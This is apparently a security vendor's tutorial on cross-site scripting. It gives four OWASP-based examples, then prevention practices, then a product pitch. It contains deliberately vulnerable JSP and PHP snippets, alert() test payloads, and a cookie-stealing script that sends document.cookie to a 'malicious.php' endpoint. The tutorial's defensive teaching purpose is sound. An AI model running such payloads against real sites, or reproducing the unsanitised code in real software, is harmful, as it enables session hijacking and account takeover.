4 XSS Attack Examples
These examples are adapted from the OWASP XSS guide.
Example 1: Reflected XSS in HTTP Response
Reflected XSS attacks exploit vulnerabilities in web applications where user-provided data is directly included in an HTTP response without proper sanitization. For example, consider the following JSP code snippet:
<% String eid = request.getParameter("eid"); %>
...
User ID: <%= uid %>
In this example, the application reads the uid parameter from the HTTP request and displays it in the response. If the value of uid contains malicious code, such as <script>alert('XSS')</script>
, it will execute in the victim's browser when they view the response.
Attackers typically craft malicious URLs containing the exploit and lure users into clicking them via phishing emails or deceptive links. This can be used to steal sensitive information, such as cookies or session tokens.
Example 2: Stored XSS in a Database Query
Stored XSS occurs when an attacker injects malicious scripts into a data store, such as a database, and these scripts are later retrieved and executed in a user's browser. For example:
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+uid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>
In this case, the name variable is retrieved from the database and displayed on a webpage. If the database contains malicious content, such as <script>alert('Stored XSS')</script>
, the script will execute whenever the page is loaded by a user. Stored XSS is especially dangerous because it affects multiple users and is harder to detect.
Attackers might inject malicious scripts into areas like comment sections or user profiles to maximize their impact.
Example 3: Exploiting Error Pages
Error pages, if not properly sanitized, can also be exploited for XSS attacks. Consider the following PHP code for a custom 404 error page:
<html>
<body>
<?php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
If an attacker crafts a malicious URL, such as http://example.com/<script>alert("XSS")</script>
, the error page will include and execute the script in the browser. This kind of attack highlights the importance of sanitizing dynamic content displayed in error messages.
Example 4: Cookie Theft with a Malicious Script
Attackers can use XSS to steal session cookies by injecting scripts into vulnerable applications. For example, they could inject the following code into a user input field on a web page:
<script type="text/javascript">
var adr = '../malicious.php?cookiestealer=' + escape(document.cookie);
</script>
This script sends the user's cookies to the attacker's server (malicious.php), where they can be captured and exploited. Once the attacker obtains the session cookie, they can impersonate the victim and gain unauthorized access to their account.
4 Best Practices for Preventing XSS
Here are some of the ways that organizations can minimize the risk of cross-site scripting.
1. Input Validation and Output Encoding
Input validation involves ensuring that data entering the application conforms to expected formats and rejecting anything suspicious. This first line of defense prevents attackers from injecting malicious inputs. Coupled with output encoding—which transforms data into a safe format for rendering—developers can protect against XSS by controlling how data appears in the browser.
Implementing both practices requires context-aware encoding and validation mechanisms based on the framework in use. Developers should use libraries that can handle these tasks, reducing error risks from manual implementations. Consistent use of these techniques across the application significantly lowers the potential attack surface for XSS exploits.
2. Proper Use of Content Security Policy
Content security policy (CSP) reduces XSS risks by restricting the sources from which content can be loaded and executed in a browser. A good CSP setup can prevent malicious scripts from running, acting as a second line of defense beyond input validation and encoding. Thoughtful definition of trusted sources and disallowing inline scripts improves application security.
Developers should iteratively develop and deploy CSP, starting with reporting mode to understand potential impacts before enforcement. Regularly reviewing and updating the policy maintains its effectiveness as application and third-party dependencies evolve. CSP is a tool when used correctly, forming an integral component of an XSS prevention strategy.
3. Implementing HTTP-Only and Secure Cookies
Securing cookies is crucial in preventing XSS-induced attacks like session hijacking. Using HTTP-only cookies ensures they are inaccessible via JavaScript, shielding sensitive session data. Secure flag implementation further restricts cookies to HTTPS connections, safeguarding against eavesdropping and increasing overall data integrity during transmission.
Developers should ensure these flags are consistently applied across applications, especially for session management, to mitigate exposure to XSS vulnerabilities. Regular cookie audits help ensure data security and compliance with evolving standards. These simple measures aid in protecting user privacy and reinforcing application trustworthiness.
4. Safe Use of JavaScript Frameworks and Libraries
JavaScript frameworks and libraries simplify development but can introduce XSS risks if improperly handled. Understanding their security features and limitations is essential in leveraging their capabilities without endangering applications. Framework-specific security features often include built-in sanitization and safe templating engines, reducing XSS exposure.
Proper integration requires developers to stay updated on framework vulnerabilities and apply vendor-released patches promptly. Using only well-supported libraries, coupled with thorough security audits, can prevent common pitfalls. Adopting a defensive coding mindset and rigorous reviews are vital for secure development using JavaScript tools.
Web Application Security with CyCognito
CyCognito identifies web application security risks through scalable, continuous, and comprehensive active testing that ensures a fortified security posture for all external assets.
The CyCognito platform helps secure web applications by:
- Using payload-based active tests to provide complete visibility into any vulnerability, weakness, or risk in your attack surface.
- Going beyond traditional passive scanning methods and targeting vulnerabilities invisible to traditional port scanners.
- Employing dynamic application security testing (DAST) to effectively identify critical web application issues, including those listed in the OWASP Top 10 and web security testing guides.
- Eliminating gaps in testing coverage, uncovering risks, and reducing complexity and costs. Offering comprehensive visibility into any risks present in the attack surface, extending beyond the limitations of software-version based detection tools.
- Continuously testing all exposed assets and ensuring that security vulnerabilities are discovered quickly across the entire attack surface.
- Assessing complex issues like exposed web applications, default logins, vulnerable shared libraries, exposed sensitive data, and misconfigured cloud environments that can’t be evaluated by passive scanning.
CyCognito makes managing web application security simple by identifying and testing these assets automatically, continuously, and at scale using CyCognito’s enterprise-grade testing infrastructure.
Learn more about
CyCognito Active Security Testing.